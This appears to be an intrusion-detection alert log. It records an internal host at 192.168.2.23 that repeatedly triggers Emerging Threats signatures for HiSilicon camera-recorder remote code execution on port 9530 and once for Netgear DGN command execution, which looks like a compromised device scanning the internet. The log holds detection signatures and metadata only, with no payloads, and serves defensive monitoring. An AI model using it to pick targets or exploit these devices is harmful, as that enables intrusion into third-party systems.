Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.180.251.247

Timestamp:	05/16/24-16:38:55.199149
SID:	2030487
Source Port:	34026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.167.245.22

Timestamp:	05/16/24-16:39:02.767203
SID:	2030487
Source Port:	38904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.244.222.188

Timestamp:	05/16/24-16:38:53.011516
SID:	2030487
Source Port:	52612
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.244.222.188

Timestamp:	05/16/24-16:38:53.011516
SID:	2030488
Source Port:	52612
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.81.179.231

Timestamp:	05/16/24-16:38:50.076332
SID:	2030488
Source Port:	39582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.81.179.231

Timestamp:	05/16/24-16:38:50.076332
SID:	2030487
Source Port:	39582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.19.137.98

Timestamp:	05/16/24-16:39:14.528249
SID:	2030487
Source Port:	42300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.19.137.98

Timestamp:	05/16/24-16:39:14.528249
SID:	2030488
Source Port:	42300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.179.240.58

Timestamp:	05/16/24-16:39:14.494664
SID:	2030487
Source Port:	37538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.179.240.58

Timestamp:	05/16/24-16:39:14.494664
SID:	2030488
Source Port:	37538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.163.47.85

Timestamp:	05/16/24-16:39:16.579838
SID:	2030487
Source Port:	60104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.163.47.85

Timestamp:	05/16/24-16:39:16.579838
SID:	2030488
Source Port:	60104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.199.199.223

Timestamp:	05/16/24-16:38:55.226766
SID:	2030487
Source Port:	53626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.199.199.223

Timestamp:	05/16/24-16:38:55.226766
SID:	2030488
Source Port:	53626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.208.221.226

Timestamp:	05/16/24-16:39:12.295482
SID:	2030488
Source Port:	44526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.208.221.226

Timestamp:	05/16/24-16:39:12.295482
SID:	2030487
Source Port:	44526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.155.206.64

Timestamp:	05/16/24-16:39:16.604230
SID:	2030488
Source Port:	52840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.155.206.64

Timestamp:	05/16/24-16:39:16.604230
SID:	2030487
Source Port:	52840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.192.114.75

Timestamp:	05/16/24-16:38:50.048920
SID:	2030487
Source Port:	46022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.192.114.75

Timestamp:	05/16/24-16:38:50.048920
SID:	2030488
Source Port:	46022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.58.6.57

Timestamp:	05/16/24-16:39:03.260977
SID:	2030488
Source Port:	55788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.58.6.57

Timestamp:	05/16/24-16:39:03.260977
SID:	2030487
Source Port:	55788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.159.53.25

Timestamp:	05/16/24-16:39:16.580486
SID:	2030487
Source Port:	60704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.159.53.25

Timestamp:	05/16/24-16:39:16.580486
SID:	2030488
Source Port:	60704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.249.186.86

Timestamp:	05/16/24-16:39:14.494635
SID:	2030487
Source Port:	35132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.249.186.86

Timestamp:	05/16/24-16:39:14.494635
SID:	2030488
Source Port:	35132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.239.3.224

Timestamp:	05/16/24-16:38:53.011197
SID:	2030488
Source Port:	43400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.239.3.224

Timestamp:	05/16/24-16:38:53.011197
SID:	2030487
Source Port:	43400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.140.24.228

Timestamp:	05/16/24-16:39:05.677884
SID:	2030488
Source Port:	37780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.140.24.228

Timestamp:	05/16/24-16:39:05.677884
SID:	2030487
Source Port:	37780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.88.162.40

Timestamp:	05/16/24-16:39:12.380114
SID:	2030488
Source Port:	51202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.88.162.40

Timestamp:	05/16/24-16:39:12.380114
SID:	2030487
Source Port:	51202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.72.112.112

Timestamp:	05/16/24-16:39:16.607331
SID:	2030487
Source Port:	60748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.72.112.112

Timestamp:	05/16/24-16:39:16.607331
SID:	2030488
Source Port:	60748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.2.32.188

Timestamp:	05/16/24-16:38:53.011381
SID:	2030488
Source Port:	56704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.2.32.188

Timestamp:	05/16/24-16:38:53.011381
SID:	2030487
Source Port:	56704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.98.159.1

Timestamp:	05/16/24-16:39:08.041386
SID:	2030488
Source Port:	35200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.15.237.177

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	48088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.15.237.177

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	48088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.98.159.1

Timestamp:	05/16/24-16:39:08.041386
SID:	2030487
Source Port:	35200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.51.156.157

Timestamp:	05/16/24-16:39:14.507694
SID:	2030487
Source Port:	43772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.251.125.82

Timestamp:	05/16/24-16:39:16.600084
SID:	2030487
Source Port:	52236
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.51.156.157

Timestamp:	05/16/24-16:39:14.507694
SID:	2030488
Source Port:	43772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.251.125.82

Timestamp:	05/16/24-16:39:16.600084
SID:	2030488
Source Port:	52236
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.168.157.247

Timestamp:	05/16/24-16:39:12.382150
SID:	2030487
Source Port:	54468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.168.157.247

Timestamp:	05/16/24-16:39:12.382150
SID:	2030488
Source Port:	54468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.186.204.186

Timestamp:	05/16/24-16:38:57.303499
SID:	2030488
Source Port:	47928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.186.204.186

Timestamp:	05/16/24-16:38:57.303499
SID:	2030487
Source Port:	47928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.68.210.45

Timestamp:	05/16/24-16:39:16.612691
SID:	2030488
Source Port:	40772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.68.210.45

Timestamp:	05/16/24-16:39:16.612691
SID:	2030487
Source Port:	40772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.206.39.174

Timestamp:	05/16/24-16:39:02.725525
SID:	2030487
Source Port:	49970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.248.106.208

Timestamp:	05/16/24-16:39:05.678386
SID:	2030487
Source Port:	39312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.206.39.174

Timestamp:	05/16/24-16:39:02.725525
SID:	2030488
Source Port:	49970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.107.5.141

Timestamp:	05/16/24-16:39:05.676333
SID:	2030487
Source Port:	34328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.131.200.88

Timestamp:	05/16/24-16:39:05.675874
SID:	2030488
Source Port:	43744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.248.106.208

Timestamp:	05/16/24-16:39:05.678386
SID:	2030488
Source Port:	39312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.131.200.88

Timestamp:	05/16/24-16:39:05.675874
SID:	2030487
Source Port:	43744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.164.221.214

Timestamp:	05/16/24-16:38:50.047590
SID:	2030487
Source Port:	45988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.126.183.13

Timestamp:	05/16/24-16:39:12.298252
SID:	2030488
Source Port:	50644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.126.183.13

Timestamp:	05/16/24-16:39:12.298252
SID:	2030487
Source Port:	50644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.107.5.141

Timestamp:	05/16/24-16:39:05.676333
SID:	2030488
Source Port:	34328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.104.53.246

Timestamp:	05/16/24-16:39:08.092922
SID:	2030488
Source Port:	57594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.104.53.246

Timestamp:	05/16/24-16:39:08.092922
SID:	2030487
Source Port:	57594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.126.14.38

Timestamp:	05/16/24-16:39:08.146554
SID:	2030487
Source Port:	59744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.126.14.38

Timestamp:	05/16/24-16:39:08.146554
SID:	2030488
Source Port:	59744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.164.221.214

Timestamp:	05/16/24-16:38:50.047590
SID:	2030488
Source Port:	45988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.233.11.39

Timestamp:	05/16/24-16:38:55.221745
SID:	2030488
Source Port:	43512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.233.11.39

Timestamp:	05/16/24-16:38:55.221745
SID:	2030487
Source Port:	43512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.204.82.127

Timestamp:	05/16/24-16:39:12.378547
SID:	2030487
Source Port:	51244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.204.82.127

Timestamp:	05/16/24-16:39:12.378547
SID:	2030488
Source Port:	51244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.159.71.123

Timestamp:	05/16/24-16:38:53.007570
SID:	2030487
Source Port:	45318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.159.71.123

Timestamp:	05/16/24-16:38:53.007570
SID:	2030488
Source Port:	45318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.23.21.243

Timestamp:	05/16/24-16:38:55.198183
SID:	2030487
Source Port:	60768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.23.21.243

Timestamp:	05/16/24-16:38:55.198183
SID:	2030488
Source Port:	60768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.189.85.41

Timestamp:	05/16/24-16:38:53.099019
SID:	2030487
Source Port:	53258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.133.53.138

Timestamp:	05/16/24-16:38:55.227492
SID:	2030488
Source Port:	49366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.189.85.41

Timestamp:	05/16/24-16:38:53.099019
SID:	2030488
Source Port:	53258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.133.53.138

Timestamp:	05/16/24-16:38:55.227492
SID:	2030487
Source Port:	49366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.124.111.176

Timestamp:	05/16/24-16:39:01.473860
SID:	2024916
Source Port:	59392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.52.65.115

Timestamp:	05/16/24-16:38:50.075674
SID:	2030487
Source Port:	52712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.52.65.115

Timestamp:	05/16/24-16:38:50.075674
SID:	2030488
Source Port:	52712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.225.149.162

Timestamp:	05/16/24-16:39:16.614375
SID:	2030488
Source Port:	49150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.225.149.162

Timestamp:	05/16/24-16:39:16.614375
SID:	2030487
Source Port:	49150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.243.119.220

Timestamp:	05/16/24-16:38:55.220912
SID:	2030488
Source Port:	60568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.243.119.220

Timestamp:	05/16/24-16:38:55.220912
SID:	2030487
Source Port:	60568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.32.177.181

Timestamp:	05/16/24-16:39:14.510045
SID:	2030488
Source Port:	46308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.32.177.181

Timestamp:	05/16/24-16:39:14.510045
SID:	2030487
Source Port:	46308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.184.208.206

Timestamp:	05/16/24-16:39:14.532750
SID:	2030487
Source Port:	50488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.184.208.206

Timestamp:	05/16/24-16:39:14.532750
SID:	2030488
Source Port:	50488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.78.187.27

Timestamp:	05/16/24-16:38:55.220926
SID:	2030488
Source Port:	40092
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.78.187.27

Timestamp:	05/16/24-16:38:55.220926
SID:	2030487
Source Port:	40092
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.84.114.118

Timestamp:	05/16/24-16:38:57.304874
SID:	2030487
Source Port:	40082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.84.114.118

Timestamp:	05/16/24-16:38:57.304874
SID:	2030488
Source Port:	40082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.144.218.243

Timestamp:	05/16/24-16:38:50.076322
SID:	2030488
Source Port:	36904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.71.46.105

Timestamp:	05/16/24-16:39:16.614047
SID:	2030487
Source Port:	34306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.144.218.243

Timestamp:	05/16/24-16:38:50.076322
SID:	2030487
Source Port:	36904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.38.107.25

Timestamp:	05/16/24-16:38:57.409946
SID:	2030487
Source Port:	35752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.71.46.105

Timestamp:	05/16/24-16:39:16.614047
SID:	2030488
Source Port:	34306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.32.190.173

Timestamp:	05/16/24-16:39:14.518795
